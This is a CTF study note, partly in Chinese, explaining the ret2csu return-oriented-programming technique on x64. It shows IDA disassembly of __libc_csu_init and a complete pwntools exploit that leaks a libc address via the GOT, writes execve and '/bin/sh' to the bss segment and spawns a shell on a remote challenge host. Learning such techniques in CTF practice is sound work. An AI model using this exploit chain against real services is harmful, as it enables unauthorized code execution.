Weekly Notes for CTF 🚩
Week 1

Astrageldon

2023-11-03

1 Pwn

1.1 ret2csu

根据初步的摸索，按照直觉，大致需要经历如下的流程：

1. 泄露出某个函数的 GOT 地址，从而根据 Libc 利用更多的函数
2. 向 bss 段写入 execve 函数的地址和字符串”/bin/sh”
3. 以”/bin/sh” 为参数调用 execve 函数

x64 使用寄存器作为传入的参数，顺序是 rdi, rsi, rdx,...。用 IDA 寻找有用的 Gadgets，可以看到 csu 的附近存在可以利用的代码片段：

```
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0                 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near
    ; DATA XREF: _start+16o
.text:00000000004005A0
.text:00000000004005A0 var_30          = qword ptr -30h
.text:00000000004005A0 var_28          = qword ptr -28h
.text:00000000004005A0 var_20          = qword ptr -20h
.text:00000000004005A0 var_18          = qword ptr -18h
.text:00000000004005A0 var_10          = qword ptr -10h
.text:00000000004005A0 var_8           = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0                 mov     [rsp+var_28],
    rbp
.text:00000000004005A5                 mov     [rsp+var_20],
    r12
.text:00000000004005AA                 lea     rbp, cs:600E24h
.text:00000000004005B1                 lea     r12, cs:600E24h
.text:00000000004005B8                 mov     [rsp+var_18],
    r13
.text:00000000004005BD                 mov     [rsp+var_10],
    r14
.text:00000000004005C2                 mov     [rsp+var_8], r15
.text:00000000004005C7                 mov     [rsp+var_30],
    rbx
```

```
.text:00000000004005CC                sub     rsp, 38h
.text:00000000004005D0                sub     rbp, r12
.text:00000000004005D3                mov     r13d, edi
.text:00000000004005D6                mov     r14, rsi
.text:00000000004005D9                sar     rbp, 3
.text:00000000004005DD                mov     r15, rdx
.text:00000000004005E0                call    _init_proc
.text:00000000004005E5                test    rbp, rbp
.text:00000000004005E8                jz      short loc_400606
.text:00000000004005EA                xor     ebx, ebx
.text:00000000004005EC                nop     dword ptr [rax
   +00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0:
   ; CODE XREF: __libc_csu_init+64j
.text:00000000004005F0                mov     rdx, r15
.text:00000000004005F3                mov     rsi, r14
.text:00000000004005F6                mov     edi, r13d
.text:00000000004005F9                call    qword ptr [r12+
   rbx*8]
.text:00000000004005FD                add     rbx, 1
.text:0000000000400601                cmp     rbx, rbp
.text:0000000000400604                jnz     short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606:
   ; CODE XREF: __libc_csu_init+48j
.text:0000000000400606                mov     rbx, [rsp+38h+
   var_30]
.text:000000000040060B                mov     rbp, [rsp+38h+
   var_28]
.text:0000000000400610                mov     r12, [rsp+38h+
   var_20]
.text:0000000000400615                mov     r13, [rsp+38h+
   var_18]
.text:000000000040061A                mov     r14, [rsp+38h+
   var_10]
.text:000000000040061F                mov     r15, [rsp+38h+
   var_8]
.text:0000000000400624                add     rsp, 38h
```

```
.text:0000000000400628                  retn
.text:0000000000400628 __libc_csu_init endp
```

分成

```
gadgets1 = 0x400606
gadgets2 = 0x4005F0
```

两段，为了利用写入栈上的 payload，我们可以让程序从 main 返回到 gadgets1，填充掉 rsp 跨越的 8 个空缺后返回至 gadgets2。根据代码逻辑，顺序地向栈中写入函数地址以及各参数即可实现函数传参和调用。

Exp 如下：

```
from pwn import *

elf = ELF('./pwn')
sh = remote('tpluszz.top', 50000)
#sh = process('./pwn')

write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
bss_base = elf.bss()
gadgets1 = 0x400606
gadgets2 = 0x4005F0

def csu(fill, rbx, rbp, r12, r13, r14, r15, main):
        payload = b'a' * 17 * 8
        payload += p64(gadgets1)
        payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) +
             p64(r13) + p64(r14) + p64(r15)
        payload += p64(gadgets2)
        payload += b'b' * 7 * 8
        payload += p64(main)
        sh.send(payload)
        sleep(0.1)

sh.recvuntil('Hello, World\n')
csu(0,0, 1, write_got, 1, write_got, 8, main_addr)

```

```
write_addr = u64(sh.recv(8))
libc = ELF('./libc.so.6')
libc_base = write_addr - libc.sym['write']
execve_addr = libc_base + libc.sym['execve']

sh.recvuntil('Hello, World\n')
csu(0,0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')

sh.recvuntil('Hello, World\n')
csu(0,0, 1, bss_base, bss_base+8, 0, 0, main_addr)
sh.interactive()
```